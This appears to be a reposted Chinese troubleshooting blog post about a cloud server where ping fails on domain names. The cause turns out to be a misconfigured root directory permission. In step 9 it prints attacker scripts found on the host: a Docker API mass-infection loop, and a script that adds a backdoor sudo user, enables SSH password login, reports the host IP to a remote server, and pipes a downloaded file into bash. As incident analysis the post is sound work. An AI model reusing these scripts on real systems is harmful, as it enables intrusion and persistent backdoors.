记一次吐血的ping: unknown host

背景:

 某客户的ECS,ping域名提示unknown host,ping ip则可以通,ping的时候抓包没有解析的包出去,是解析的问题吗?

1,测试ping域名以及抓包发现没有dns的解析包出去

# ping www.baidu.com -c 1
ping: unknown host www.baidu.com
# tcpdump -i any port 53 -nnvv
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes

2,测试ping ip dig getent等工作正常

# ping -c 1 115.239.210.27
PING 115.239.210.27 (115.239.210.27) 56(84) bytes of data.
64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.87 ms--- 115.239.210.27 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.875/1.875/1.875/0.000 ms
# getent hosts www.baidu.com
115.239.211.112 www.a.shifen.com www.baidu.com
115.239.210.27  www.a.shifen.com www.baidu.com
# dig www.baidu.com +short
www.a.shifen.com.
115.239.210.27
115.239.211.112

3,通过上述的测试可以确定,并非dns工作出现了问题,而是ping本身出现了问题

4,通过strace跟踪看下ping命令在运行的过程中加载文件是否有问题?

# strace -e open ping www.baidu.com
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
......
open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
ping: unknown host www.baidu.com
+++ exited with 2 +++
正常的对比(版本不同有差异)
# strace -e open ping -c 1 www.baidu.com
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcrypto.so.10", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
.......

5,提取所有的Permission denied的文件,查看权限(被我精简了一些)

# strace -e open -o p.out ping www.baidu.com |grep -i "Permission denied" p.out| awk -F "\\\"" '{print $2}'|xargs statFile: ‘/usr/lib/locale/locale-archive’Size: 106065056     Blocks: 207096     IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 132883      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:46:34.523000000 +0800
Modify: 2015-07-13 15:21:14.804155630 +0800
Change: 2015-07-13 15:21:14.804155630 +0800Birth: -File: ‘/usr/share/locale/locale.alias’Size: 2502          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 132816      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:48:09.380738442 +0800
Modify: 2015-03-06 05:18:56.000000000 +0800
Change: 2015-07-13 15:21:09.324089405 +0800Birth: -File: ‘/usr/lib64/gconv/gconv-modules.cache’Size: 26254         Blocks: 56         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 394951      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:46:34.878000000 +0800
Modify: 2015-07-13 15:21:15.860168393 +0800
Change: 2015-07-13 15:21:15.860168393 +0800Birth: -File: ‘/usr/lib64/gconv/gconv-modules’Size: 56377         Blocks: 112        IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 394941      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2015-07-13 15:21:15.857168356 +0800
Modify: 2015-03-06 05:18:55.000000000 +0800
Change: 2015-07-13 15:21:15.510164163 +0800Birth: -File: ‘/etc/resolv.conf’Size: 109           Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 660033      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:50:51.650325504 +0800
Modify: 2019-05-10 21:47:49.650000000 +0800
Change: 2019-05-10 21:47:49.650000000 +0800Birth: -File: ‘/etc/nsswitch.conf’Size: 1728          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 658832      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:47:44.965000000 +0800
Modify: 2015-07-13 15:21:28.905326045 +0800
Change: 2015-07-13 15:21:28.905326045 +0800Birth: -File: ‘/etc/ld.so.cache’Size: 44226         Blocks: 88         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 658829      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:46:33.738000000 +0800
Modify: 2019-03-22 00:16:26.262531411 +0800
Change: 2019-03-22 00:16:26.262531411 +0800Birth: -File: ‘/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’Size: 18            Blocks: 0          IO Block: 4096   symbolic link
Device: fd01h/64769d    Inode: 151673      Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:47:09.952000000 +0800
Modify: 2015-07-13 15:21:15.089159075 +0800
Change: 2015-07-13 15:21:15.089159075 +0800Birth: -File: ‘/usr/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’Size: 18            Blocks: 0          IO Block: 4096   symbolic link
Device: fd01h/64769d    Inode: 151673      Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:47:09.952000000 +0800
Modify: 2015-07-13 15:21:15.089159075 +0800
Change: 2015-07-13 15:21:15.089159075 +0800Birth: -

6,对比文件权限也没有发现明显的异常,我不禁有点麻爪,陷入深深的思考中

7,尝试往被黑的方向排查 ,校验rpm包,替换ping命令,以及检查入侵痕迹

#  for i in $(rpm -qa);do rpm --verify $i ||echo $i ;done|grep bin |grep -v "node_modules"
S.5......    /usr/bin/git
S.5......    /usr/bin/git-receive-pack
S.5......    /usr/bin/git-shell
S.5......    /usr/bin/git-upload-archive
S.5......    /usr/bin/git-upload-pack
# lsmod
Module                  Size  Used by
tcp_diag               12591  0
inet_diag              18543  1 tcp_diag
dm_mirror              22135  0
......
ata_piix               35038  0
i2c_core               40325  3 drm,i2c_piix4,drm_kms_helper
libata                218854  3 pata_acpi,ata_generic,ata_piix

命令,进程,module都没有明显异常

8,重新回到问题本身,权限访问有问题,因此到根目录下,挨个看权限

# ls -l
total 136
-rwxrwxrwx    1 root root  1963 Feb 27 03:38 autom.sh
lrwxrwxrwx.   1 root root     7 Nov 21  2014 bin -> usr/bin
dr-xr-xr-x.   4 root root  4096 May 10 21:47 boot
drwxr-xr-x   19 root root  3040 May 10 21:50 dev
drwxr-xr-x. 102 root root 12288 May 10 21:50 etc
drwxr-xr-x.   8 root root  4096 Mar 22 00:15 home
lrwxrwxrwx.   1 root root     7 Nov 21  2014 lib -> usr/lib
lrwxrwxrwx.   1 root root     9 Nov 21  2014 lib64 -> usr/lib64
drwxrwxrwx    2 root root  4096 Jan 29 17:57 logs
drwx------.   2 root root 16384 Nov 22  2014 lost+found
drwxr-xr-x.   2 root root  4096 Jun 10  2014 media
drwxr-xr-x.   3 root root  4096 Oct 23  2015 mnt
lrwxrwxrwx    1 root root     9 Oct 23  2015 opt -> /mnt/opt/
drwxrwxr-x    3 root root  4096 Oct  9  2018 path
dr-xr-xr-x   93 root root     0 May 10 21:50 proc
dr-xr-x---.  30 root root  4096 May 10 23:36 root
drwxr-xr-x   30 root root   840 May 10 21:51 run
lrwxrwxrwx.   1 root root     8 Nov 21  2014 sbin -> usr/sbin
drwxrwxr-x    6 root root  4096 Jan 29 17:54 shell
drwxrwxr-x    7 root root  4096 Jan 29 20:20 springbootdemo2
drwxr-xr-x.   2 root root  4096 Jun 10  2014 srv
dr-xr-xr-x   13 root root     0 May 11  2019 sys
-rwxrwxrwx    1 root root   356 Nov  1  2018 test1.sh
-rwxrwxrwx    1 root root   127 Nov  1  2018 test2.sh
drwxrwxrwt.  26 root root 40960 May 11 00:10 tmp
drwxrwxr-x    3 root root  4096 Dec 22 14:48 Users
drwxr-xr-x.  14 root root  4096 Aug  6  2018 usr
drwxr-xr-x.  23 root root  4096 May  6 11:31 var

9,对比权限没有发现问题,发现了几个脚本,看看脚本是做什么的

# cat test1.sh test2.sh
#!/bin/bash
sed -i 's/\r//g' $1
sed -i '/::/g' $1
while read HOSTLINE
do
echo NOW WORKING ON $HOSTLINE
docker -H tcp://$HOSTLINE run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "yum install wget -y;apt-get install wget -y;wget http://51.*.*.146/autom.sh -O /autom.sh;chmod 777 /autom.sh;sh /autom.sh"
echo DONE WITH $HOSTLINE
sed -i '1d' $1
done <$1
-----------------
#!/bin/bash
sed -i 's/\r//g' $1
sed -i '/::/g' $1
while read HOSTLINE
do
sh test1.sh $1 & sleep 7; sed -i '1d' $1;
done <$1
-----------------
# cat autom.sh
#!/bin/sh
useradd -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
adduser -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
usermod -aG sudoers akay;
usermod -aG root akay;
sudo adduser akay sudo;
echo 'akay  ALL=(ALL:ALL) ALL' >> /etc/sudoers;
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
curl icanhazip.com >/tmp/myip.txt
ip=$(cat /tmp/myip.txt)
curl http://51.*.*.146/ip.php?ip=$ip
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;
systemctl restart sshd;
systemctl restart ssh;
apt-get install screen -y
yum install screen -y
if [ $(dpkg-query -W -f='${Status}' systemd 2>/dev/null | grep -c "ok installed") -eq 0 ];
thenapt-get install systemd -y;yum install systemd -y;
fi;
if [ $(dpkg-query -W -f='${Status}' masscan 2>/dev/null | grep -c "ok installed") -eq 0 ];
thenapt-get install masscan -y;yum install masscan -y;
fi;
if [ $(dpkg-query -W -f='${Status}' iproute2 2>/dev/null | grep -c "ok installed") -eq 0 ];
thenapt-get install iproute2 -y;yum install iproute2 -y;
fi;
curl -s http://51.*.*.146/logo9.jpg | bash -s
wget http://51.*.*.146/test1.sh -O test1.sh;
wget http://51.*.*.146/test2.sh -O test2.sh;
#wget http://51.*.*.146/scanner.sh -O scanner.sh;
sleep 2s;
chmod 777 test1.sh;
chmod 777 test2.sh;
sleep 2s;
killall xmrig;
killall xm;
killall proc;
killall minergate-cli;
killall xmr-stak;
pkill -f xmrig;
pkill -f xmr-stak;
pkill -f xm;
kill -9 xmrig;
kill -9 xmr-stak;
kill -a xmrig;
kill -a xmr-stak;
kill -a xm;
sudo killall minergate-cli;
sudo kill -9 minergate-cli;
sudo pkill -f minergate-cli;
sudo killall proc;
sudo kill -9 proc;
sudo pkill -f proc;
sudo killall xmrig;
sudo killall xmr-stak;
sudo pkill -f xmrig;
sudo pkill -f xmr-stak;
sudo kill -9 xmrig;
sudo kill -9 xmr-stak;
sudo kill -a xmrig;
sudo kill -a xmr-stak;
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl disable bashd.service;
#sudo sh scanner.sh &

10,原来真的被黑了,建议客户购买安全应急服务期间,抱着研究的目的继续看ping的问题

11,灵光一闪,根目录自身是什么权限?(不用纠结时间,为了写这篇文章我重新做了很多测试)

有问题的机器
# ls -ld /
dr--------. 22 root root 4096 May 10 21:47 /
正常的机器
# ls -ld /
dr-xr-xr-x. 19 root root 4096 Apr 30 17:33 /
# chmod 555 /
# ping -c 2 www.baidu.com
PING www.a.shifen.com (115.239.210.27) 56(84) bytes of data.
64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.84 ms
64 bytes from 115.239.210.27: icmp_seq=2 ttl=55 time=1.86 ms--- www.a.shifen.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 1.842/1.854/1.866/0.012 ms

大功告成~!


原文链接
本文为云栖社区原创内容,未经允许不得转载。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/518995.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nacos Committer 张龙:Nacos Sync 的设计原理和规划

与你同行&#xff0c;抬头便是星空。 本文整理自Nacos Committer 张龙的现场分享&#xff0c;阿里巴巴中间件受权发布。 随着 Nacos 1.0.0 稳定版的发布&#xff0c;越来越多的企业开始在测试/预演/生产环境中逐步部署 Nacos。目前&#xff0c;除了部分企业已处于转型分布式架…

Linux 会成为主流桌面操作系统吗?

整理 | 屠敏出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09;2020 年 1 月 14 日&#xff0c;微软正式停止了 Windows 7 系统的扩展支持&#xff0c;这意味着服役十年的 Windows 7&#xff0c;属于它的时代真的终结了&#xff0c;说不出的再见&#xff0c;只能怀恋。…

阿里搜索推荐系统又双叒叕升级了?!

搜索导购产品作为搜索的流量入口&#xff0c;承载了为用户导购推荐、搜索流量分流的重要功能。主要产品包括&#xff1a;首页底纹、下拉推荐、搜索发现、导航、历史搜索等。经过几年的探索和积累&#xff0c;各个产品越发地成熟&#xff0c;机器学习算法广泛地应用于导购产品中…

处理网络超时问题的最佳实践

对于云上的用户来说&#xff0c;业务日志里面报超时问题处理起来往往比价棘手&#xff0c;因为1) 问题点可能在云基础设施层&#xff0c;也有可能在业务软件层&#xff0c;需要排查的范围非常广&#xff1b;2) 这类问题往往是不可复现问题&#xff0c;抓到现场比较难。在本文里…

BZip2Codec压缩、Map端压缩控制、Reduce端压缩控制……都在这份Hadoop整合压缩知识点里了!...

作者 | Tai_Park责编 | Carol来源 | CSDN 博客封图 | CSDN付费下载于东方 IC今天来聊聊 Hadoop 的压缩。压缩&#xff1a;原始数据通过压缩手段产生目标数据&#xff0c;要求输入和输出的内容是一样的&#xff08;大部分&#xff09;&#xff0c;但体积是不一样的。对于单机用户…

WAF+SLB负载不均衡案例分享

问题演变过程 时间点1&#xff1a;高防WAFSLB2台ECS 时间点2&#xff1a;高防WAFSLB4台ECS 问题描述 在时间点1时&#xff0c;没有发现明显的负载不均衡的情况。在时间点2时&#xff0c;出现大部分请求都打到了其中一台ECS上。需要定位问题原因 问题梳理 问题链路 是SLB后…

架构整洁之道, 看这一篇就够了!

程序的世界飞速发展&#xff0c;今天所掌握的技能可能明年就过时了&#xff0c;但有些知识历久弥新&#xff0c;掌握了它们&#xff0c;你在程序的海洋中就不会迷路&#xff0c;架构思想就是这样的知识。 本文是《架构整洁之道》的读书心得&#xff0c;作者将书中内容拆解后再组…

2019年度CSDN博客之星TOP10榜单揭晓,你上榜了吗?

培根说&#xff0c;『读书造成充实的人&#xff0c;会议造成未能觉悟的人&#xff0c;写作造成正确的人』。在短信短视频快速迭代的快时代&#xff0c;更深度的思考、更正确的实践&#xff0c;更成体系的写作与分享&#xff0c;尤显可贵。这里&#xff0c;每一篇博文都是开发者…

(进阶篇_01)Oracle数据同步3种场景

文章目录一、场景分析二、实战2.1. 创建原表表结构初始化数据2.2. 创建目标表表结构2.3. 同步前效果图2.4. 连接串2.5. 执行同步2.6.执行后效果图2.7.操作记录三、实战场景2&#xff08;第1种&#xff09;3.1. 原表表结构初始化数据3.2. 目标表表结构3.3. 连接字符串3.4. 数据同…

html背景图片横屏,CSS背景颜色 背景图片 居中 重复 固定样式background经验篇

我们使用CSS Background样式属性&#xff0c;可以设置网页背景单一颜色、网页背景为图片、网页背景图片居中于网页、网页背景图片网页固定位置、网页背景图片中网页中重复平铺等css背景样式介绍与案例讲解。扩展阅读&#xff1a;CSS背景Background基础&#xff1a;http://www.d…

借助混沌工程工具 ChaosBlade 构建高可用的分布式系统

在分布式架构环境下&#xff0c;服务间的依赖日益复杂&#xff0c;可能没有人能说清单个故障对整个系统的影响&#xff0c;构建一个高可用的分布式系统面临着很大挑战。在可控范围或环境下&#xff0c;使用 ChaosBlade 工具&#xff0c;对系统注入各种故障&#xff0c;持续提升…

etcd 在超大规模数据场景下的性能优化

概述 etcd是一个开源的分布式的kv存储系统, 最近刚被cncf列为沙箱孵化项目。etcd的应用场景很广&#xff0c;很多地方都用到了它&#xff0c;例如kubernetes就用它作为集群内部存储元信息的账本。本篇文章首先介绍我们优化的背景&#xff0c;为什么我们要进行优化, 之后介绍et…

时间复杂度的表示、分析、计算方法……一文带你看懂时间复杂度!

作者 | OverRedMaple责编 | Carol来源 | CSDN 博客封图 | CSDN付费下载于东方 IC如果你还在发愁究竟怎么计算时间复杂度和空间复杂度&#xff0c;那你是来对地方了&#xff01;名词解释&#xff1a;在计算机科学中&#xff0c;时间复杂性&#xff0c;又称时间复杂度&#xff0c…

ThreadPoolExecutor中的keepAliveTime详解

文章目录一、keepAliveTime的概念二、keepAliveTime的设置方法2.1. 通过构造函数设置2.2. 通过setKeepAliveTime方法动态设置三、线程是如何根据keepAliveTime进行销毁的阅读这篇文章&#xff0c;你将会知道&#xff1a; keepAliveTime的概念。 keepAliveTime是如何设置的。 线…

OPPO数据中台之基石:基于Flink SQL构建实数据仓库

本文整理自 2019 年 4 月 13 日在深圳举行的 Flink Meetup 会议&#xff0c;分享嘉宾张俊&#xff0c;目前担任 OPPO 大数据平台研发负责人&#xff0c;也是 Apache Flink contributor。本文主要内容如下&#xff1a; OPPO 实时数仓的演进思路&#xff1b;基于 Flink SQL 的扩…

如何实现7*24小时灵活发布?阿里技术团队这么做

研发效能分为两块&#xff0c;一是用技术的更新来提升效率&#xff1b;二是提高整个技术生态中的协同效率&#xff0c;激发技术活力。阿里巴巴技术团队在此基础上要实现的终极目标是打造7*24小时灵活发布的通道&#xff0c;以及提供更快的业务代码迭代能力。今天&#xff0c;阿…

不看就亏系列!这里有完整的 Hadoop 集群搭建教程,和最易懂的 Hadoop 概念!| 附代码...

作者 | chen_01_c责编 | Carol来源 | CSDN 博客封图 | CSDN付费下载于视觉中国hadoop介绍Hadoop 是 Lucene 创始人 Doug Cutting&#xff0c;根据 Google 的相关内容山寨出来的分布式文件系统和对海量数据进行分析计算的基础框架系统&#xff0c;其中包含 MapReduce 程序&#…

数据科学家是个性感的工作?我信你个鬼!

数据科学家40%是个吸尘器&#xff0c;40%是个清洁工&#xff0c;剩下20%是个算命的。作者 | Jingles译者 | 香槟超新星&#xff0c;责编 | 夕颜出品 | CSDN&#xff08;ID:CSDNnews&#xff09;根据《哈佛商业评论》的说法&#xff0c;数据科学家是21世纪最性感的工作。在现在这…

深入搜索引擎原理

之前几段工作经历都与搜索有关&#xff0c;现在也有业务在用搜索&#xff0c;对搜索引擎做一个原理性的分享&#xff0c;包括搜索的一系列核心数据结构和算法&#xff0c;尽量覆盖搜索引擎的核心原理&#xff0c;但不涉及数据挖掘、NLP等。文章有点长&#xff0c;多多指点~~ 一…

印度版的“大众点评”如何将 Food Feed 业务从 Redis 迁移到 Cassandra

Zomato 是一家食品订购、外卖及餐馆发现平台&#xff0c;被称为印度版的“大众点评”。目前&#xff0c;该公司的业务覆盖全球24个国家&#xff08;主要是印度&#xff0c;东南亚和中东市场&#xff09;。本文将介绍该公司的 Food Feed 业务是如何从 Redis 迁移到 Cassandra 的…